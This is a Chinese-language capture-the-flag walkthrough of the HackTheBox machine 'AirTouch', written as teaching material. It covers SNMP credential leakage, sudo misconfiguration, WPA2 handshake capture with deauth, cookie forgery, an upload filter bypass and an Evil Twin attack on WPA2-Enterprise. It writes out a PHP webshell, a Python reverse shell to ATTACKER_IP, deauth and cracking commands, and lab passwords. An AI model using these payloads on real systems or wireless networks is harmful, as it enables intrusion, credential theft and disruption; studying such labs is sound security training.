HackTheBox AirTouch 渗透测试教学文档
概览
本教学文档基于 HackTheBox 靶机“AirTouch”的渗透测试实战记录撰写。该靶机模拟了一个包含无线网络的复杂内网环境,攻击链从公网打点开始,利用 SNMP 服务信息泄露,逐步横向移动,最终通过无线网络攻击(WPA2-PSK 破解与 Evil Twin 攻击)攻破内网核心系统,获取 root 权限。本次渗透涉及 SNMP 利用、网络拓扑分析、容器内横向移动、WPA2 握手包捕获与破解、Web 应用漏洞利用、权限提升、EAP 证书分析与 Evil Twin 攻击等多项技术。
一、 信息搜集阶段
1. TCP端口扫描
使用 rustscan 结合 nmap 对目标 IP 10.129.244.98 进行全端口扫描。
- 命令:
sudo rustscan -a 10.129.244.98 -r 1-65535 -- -sV -O -Pn -n - 发现端口: 仅开放 TCP 22 端口 (SSH)。
- 指纹识别:
- 服务: OpenSSH 8.2p1 Ubuntu
- 操作系统: Linux 4.15 - 5.19
- 关键发现: 返回的 TTL 值为 62,而非典型的 63。这表明攻击者与靶机之间可能还存在一台额外的网络设备(如 VPN 网关或宿主机)。
2. SSH 服务探查
对 SSH 服务进行深入扫描,检查支持的认证方法。
- 命令:
sudo nmap -p 22 --script ssh-auth-methods,banner,sshv1 10.129.244.98 -Pn -n - 结果: 支持公钥 (
publickey) 和密码 (password) 认证,不支持存在缺陷的 SSHv1 协议。尝试密码登录失败。
3. UDP 服务扫描
由于常见高价值服务(如 DNS, SNMP, DHCP)运行在 UDP 协议上,使用 udpx 工具进行扫描。
- 命令:
udpx -t 10.129.244.98 - 发现端口: 开放 UDP 161 端口 (SNMP)。
4. SNMP 服务利用
SNMP (简单网络管理协议) 是用于监控和管理网络设备的协议,v1/v2c 版本使用社区字符串(Community String)作为认证凭证,默认只读字符串常为 public。
- 信息枚举:
- 命令:
sudo nmap -sU -p 161 -sC 10.129.244.98 -Pn -n -sV - 关键信息: 脚本
snmp-sysdescr在使用默认public社区字符串查询时,返回了系统描述信息,其中包含明文凭据:The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)
- 凭据: 用户名
consultant,密码RxBlZhLmOkacNWScmZ6D。
- 命令:
二、 获取初始立足点 (consultant shell)
1. 登录与基础信息搜集
使用获得的凭据通过 SSH 登录系统。
- 命令:
ssh consultant@10.129.244.98 - 基础信息:
- 系统: Ubuntu 20.04,内核 5.4.0-216-generic,架构 x86_64。
- 用户: UID 1000,为普通用户。
- IP: 容器内网 IP 为
172.20.1.2。 - 网络接口:
eth0@if29: 这是一个 veth pair,确认当前环境处于 Docker 容器中。- 存在 7 个状态为
DOWN的无线网卡 (wlan0-wlan6),MAC地址整齐,判断为软件模拟的虚拟网卡。
2. 分析网络拓扑
在家目录 (/home/consultant) 中发现两张网络拓扑图,揭示了整个模拟网络的结构:
[ 攻击者 VPN ] --> [ VPN 网关 ] --> [ 宿主机 (Docker 宿主机) ]
|
[ Docker 容器 (Consultant VLAN) ]
| (无线网络桥接)
[ 无线接入点 AP1 (AirTouch-Internet VLAN) ]
[ 无线接入点 AP2 (AirTouch-Office VLAN) ]
[ 客户端设备 (Tablets VLAN) ]
- 结论: 无需进行 Docker 逃逸,攻击可直接在容器内利用虚拟无线网卡进行,目标为同一宿主机上模拟的其他网络。
3. 权限提升至 root
检查 consultant 用户的 sudo 权限。
- 命令:
sudo -l - 结果:
(ALL : ALL) NOPASSWD: ALL - 解释: 用户
consultant可以以任何用户身份(包括 root)无需密码运行任何命令。 - 提权: 直接切换到 root 用户。
- 命令:
sudo su或sudo -i
- 命令:
4. 发现无线攻击工具
在根目录 (/) 下发现 eaphammer 目录,这是一个用于实施“恶魔双胞胎”(Evil Twin)攻击的无线安全测试工具包,证实了后续攻击将围绕无线网络展开。
三、 横向移动到 AirTouch-Internet 网络
1. 扫描无线网络
激活一个无线网卡并扫描附近的无线接入点 (AP)。
- 激活网卡:
ip link set wlan0 up - 扫描命令:
iwlist wlan0 scan | less - 关键发现:
AirTouch-Internet: 运行在信道 6,认证方式为 WPA2-PSK (预共享密钥)。AirTouch-Office: 运行在信道 1,认证方式为 WPA2-Enterprise / 802.1X (企业级认证)。
2. 监听流量与捕获握手包
要破解 WPA2-PSK,需要捕获客户端与 AP 完成认证时的四次握手 (4-way handshake) 数据包。
-
开启监听模式:
airmon-ng start wlan0(会创建虚拟监听接口,如wlan0mon)
-
针对目标 AP 监听:
airodump-ng -c 6 --bssid F0:9F:C2:A3:F1:A7 -w AirTouch-Internet wlan0mon-c 6: 指定信道。--bssid: 指定目标 AP 的 MAC 地址。-w: 将捕获的数据包写入文件。- 输出会显示连接的客户端 (STA) 及其 MAC 地址。
-
实施 Deauth 攻击:
- 原理: 向已连接的客户端发送取消认证帧,迫使其与 AP 重新连接,从而产生新的四次握手。
- 命令:
aireplay-ng --deauth 15 -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22 wlan4mon-a: 目标 AP 的 BSSID。-c: 目标客户端的 MAC 地址。
- 执行后,在
airodump-ng的窗口会看到提示[WPA handshake: ...],表示成功捕获握手包。
3. 离线破解 PSK (WiFi密码)
-
WPA2 四次握手简述:
- AP 发送一个随机数 (ANonce) 给客户端。
- 客户端生成随机数 (SNonce),并结合预共享密钥 (PSK)、SSID、双方 MAC 地址等信息,计算出一个消息完整性校验码 (MIC),然后发送 SNonce 和 MIC 给 AP。
- AP 进行相同计算并验证 MIC,验证通过后发送加密的组临时密钥 (GTK) 给客户端。
- 客户端发送确认。
- 破解关键: 前两次握手交换的 ANonce 和 SNonce 是明文,而 MIC 是由 PSK 参与计算的。攻击者可以通过暴力猜测 PSK,重新计算 MIC 并与捕获的 MIC 比对来破解密码。
-
使用 aircrack-ng 破解:
- 命令:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b F0:9F:C2:A3:F1:A7 AirTouch-Internet-01.cap -w: 指定密码字典。-b: 指定目标 AP 的 BSSID。- 破解结果: PSK 为
challenge。
- 命令:
4. 连接到 AirTouch-Internet
- 生成连接配置文件:
wpa_passphrase "AirTouch-Internet" challenge > internet.conf - 使用 wpa_supplicant 连接 (使用另一网卡,如 wlan1):
wpa_supplicant -B -i wlan1 -c internet.conf dhclient wlan1 - 获取 IP: 成功获取到
192.168.3.23。
5. 内网探测
- 扫描同网段主机:
nmap -sn 192.168.3.0/24 - 发现主机:
192.168.3.1(MAC地址与 AP 的 BSSID 匹配)。 - 端口扫描:
nmap -p- 192.168.3.1发现开放 80 端口 (HTTP)。
四、 攻击 Web 应用 (192.168.3.1:80)
1. 访问 Web 界面
建立一个 SOCKS5 代理 (例如使用 chisel),通过本地浏览器访问 http://192.168.3.1。发现一个登录页面。
2. 解密无线流量获取线索
由于已掌握 PSK,可用 Wireshark 解密之前捕获的加密流量 (AirTouch-Internet-01.cap)。
- Wireshark 设置:
编辑 -> 首选项 -> Protocols -> IEEE 802.11 -> Decryption Keys -> 添加。 - 密钥格式:
wpa-pwd:challenge:AirTouch-Internet。 - 过滤 HTTP 流量: 解密后,过滤
http协议,追踪 TCP 流,发现一个 HTTP 请求的响应中返回了包含“flag”字样的 JSON 数据,并附带了 Cookie:admin=false; user=consultant。
3. 会话伪造与越权访问
- 漏洞:Web 应用通过 Cookie 中的
admin字段判断用户权限,且未经验证。 - 利用:将 Cookie 修改为
admin=true; user=consultant后刷新页面,成功以管理员身份登录后台。 - 自动化: 在 Burp Suite 中设置匹配规则 (Match and Replace),自动修改请求中的 Cookie。
4. 文件上传 Getshell
管理员后台存在文件上传功能。
- 初始尝试: 上传
shell.php失败,提示文件类型不允许 (黑名单过滤)。 - 绕过: 修改文件后缀为
.phtml(同样可被 PHP 解析),上传成功。 - Webshell 内容:
<?php system($_REQUEST['cmd']); ?> - 验证: 访问
http://192.168.3.1/uploads/shell.phtml?cmd=id,成功执行命令,当前用户为www-data。
5. 获取反向 Shell
- 生成 Payload (例如从 revshells.com):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' - Base64 编码 后通过 Webshell 执行。
- 稳定化 Shell:
python3 -c 'import pty; pty.spawn("/bin/bash")' # 生成 PTY export TERM=xterm # 设置终端类型 # Ctrl+Z 挂起后,在本地终端执行: stty raw -echo; fg
6. 权限提升至 user
- 信息搜集: 在 Web 根目录发现
login.php,其中硬编码了凭据:$user='consultant'; $pass='JunDRDZKHDnpkpDDvay'; - 密码复用: 尝试使用该密码切换为系统用户
consultant(su consultant),成功。 - 提权: 该
consultant用户同样拥有无密码的完整sudo权限 (sudo -l),直接sudo su获取 root 权限。 - 获取 User Flag: 在
/root目录下找到user.txt。
五、 Evil Twin 攻击 AirTouch-Office 网络
1. 信息搜集与证书分析
在 root 目录下发现:
certs-backup/: 包含 CA 证书 (ca.crt)、服务器证书 (server.crt)、服务器私钥 (server.key) 及相关配置文件。send_certs脚本: 用于将证书同步到remote@10.10.10.1,并泄露了密码xGgWEwqUpfoOVsLeROeG。- 推断:
AirTouch-Office网络使用 WPA2-Enterprise (EAP),其服务器端认证证书正是这些文件。攻击者获得服务器私钥后,可伪造 AP 进行中间人攻击。
2. Evil Twin 攻击原理
- 概念: 搭建一个与合法 AP (
AirTouch-Office) 同名的虚假 AP,诱使客户端连接。 - 必要条件: 对于 WPA2-Enterprise (如 EAP-PEAP),需要合法的服务器证书来通过客户端的证书验证。由于我们拥有私钥 (
server.key),可以成功建立 TLS 连接。
3. 实施攻击
- 准备: 从目标机器下载证书文件到攻击机 (Consultant 容器)。
- 使用 eaphammer 工具:
./eaphammer --cert-wizard import --ca-cert ca.crt --cert server.crt --private-key server.key ./eaphammer -i wlan3 --essid AirTouch-Office --auth wpa-eap --creds- 此命令会创建一个名为 “AirTouch-Office” 的恶意 AP,并使用导入的证书。
- 强制客户端重连:
- 对原
AirTouch-Office网络发起 Deauth 攻击:aireplay-ng --deauth 0 -a [AirTouch-Office_BSSID] wlan4mon(-a参数为真实 AP 的 BSSID)。 - 客户端断开后会尝试重新连接,将连接到信号更强的恶意 AP。
- 对原
- 捕获凭据: 当客户端连接并尝试 EAP-PEAP 认证时,
eaphammer会拦截 MSCHAPv2 挑战/响应过程,并计算出 NTLM 哈希。 - 破解哈希: 使用
hashcat或john对捕获的 NetNTLMv2 哈希进行破解。- 命令示例:
hashcat -m 5600 hash.txt rockyou.txt - 破解结果: 获得用户明文密码。
- 命令示例:
4. 连接 AirTouch-Office 并横向移动
- 手动创建连接配置文件 (
office.conf):network={ ssid="AirTouch-Office" key_mgmt=WPA-EAP eap=PEAP identity="[破解得到的用户名]" password="[破解得到的密码]" phase2="auth=MSCHAPV2" } - 连接网络:
wpa_supplicant -B -i wlan2 -c office.conf; dhclient wlan2 - 获取 IP: 获得
10.10.10.38。 - SSH 登录: 使用
send_certs脚本中泄露的凭据remote:xGgWEwqUpfoOVsLeROeG登录10.10.10.1(ssh remote@10.10.10.1)。
六、 最终权限提升与获取 Root Flag
1. 信息搜集
- 用户
remote为普通用户,无sudo权限,家目录中无 flag。 - 发现
/home/remote/admin目录,但无访问权限。
2. 分析运行进程
- 命令:
ps aux | grep -v “\[“ - 发现: 存在
/usr/sbin/hostapd-eaphammer /etc/hostapd-eaphammer/hostapd.conf进程。 - hostapd 作用: 这是一个用户空间守护进程,用于创建无线接入点 (AP) 和认证服务器。在 EAP 认证中,它需要用户数据库。
3. 定位用户数据库
- 查阅
hostapd文档,其 EAP 用户信息常存储在文件中,后缀为.eap_user。 - 查找文件:
find / -name “*.eap_user“ 2>/dev/null - 发现:
/etc/hostapd-eaphammer/hostapd.eap_user - 查看内容:
cat /etc/hostapd-eaphammer/hostapd.eap_user - 结果: 文件中包含明文的用户名和密码,格式如
“admin“ MD5 “admin_password_here“。从中获得admin用户的密码。
4. 提权至 root
- 切换用户:
su admin,使用从文件中获得的密码。 - 检查 sudo 权限:
sudo -l,发现admin用户同样配置了(ALL : ALL) NOPASSWD: ALL。 - 最终提权:
sudo su - 获取 Root Flag: 在
/root目录下找到root.txt。
攻击链总结
- 外部信息搜集: 通过 SNMP 默认社区字符串
public泄露consultant用户密码。 - 初始访问: SSH 登录,利用配置错误的
sudo提权至 root。 - 内部侦察: 识别容器环境与虚拟无线网络拓扑。
- 无线网络攻击 (WPA2-PSK):
- 监听并 Deauth 攻击
AirTouch-Internet网络。 - 捕获四次握手包,离线字典破解获得 PSK (
challenge)。 - 连接至该无线网络。
- 监听并 Deauth 攻击
- 内网横向移动:
- 扫描发现 AP 管理界面 (
192.168.3.1:80)。 - 解密流量发现 Cookie 越权漏洞,伪造管理员会话。
- 通过文件上传黑名单绕过 (
.phtml) 获取 Webshell,并建立反向连接。 - 从源码发现硬编码密码,复用至系统用户
consultant,再次利用sudo提权。
- 扫描发现 AP 管理界面 (
- 证书窃取与无线网络攻击 (WPA2-Enterprise):
- 发现自签名 CA 及服务器证书/私钥,以及同步脚本泄露的 SSH 密码。
- 实施 Evil Twin 攻击,伪造
AirTouch-OfficeAP,利用真实服务器私钥通过客户端证书验证。 - 拦截 EAP-PEAP/MSCHAPv2 认证过程,破解出用户凭据。
- 连接最终网络与权限提升:
- 使用破解的凭据连接
AirTouch-Office网络。 - 使用脚本泄露的密码 SSH 登录
remote@10.10.10.1。 - 分析
hostapd配置,在hostapd.eap_user文件中找到admin用户明文密码。 - 切换至
admin用户,利用配置错误的sudo最终提权至 root,捕获最终 Flag。
- 使用破解的凭据连接
核心要点: 本靶机深入串联了网络协议漏洞 (SNMP)、配置错误 (sudo)、Web 漏洞 (会话伪造、文件上传)、无线安全 (WPA2-PSK/Enterprise 攻击链) 等多种渗透测试技术,展示了从外网到复杂内网的完整攻击路径。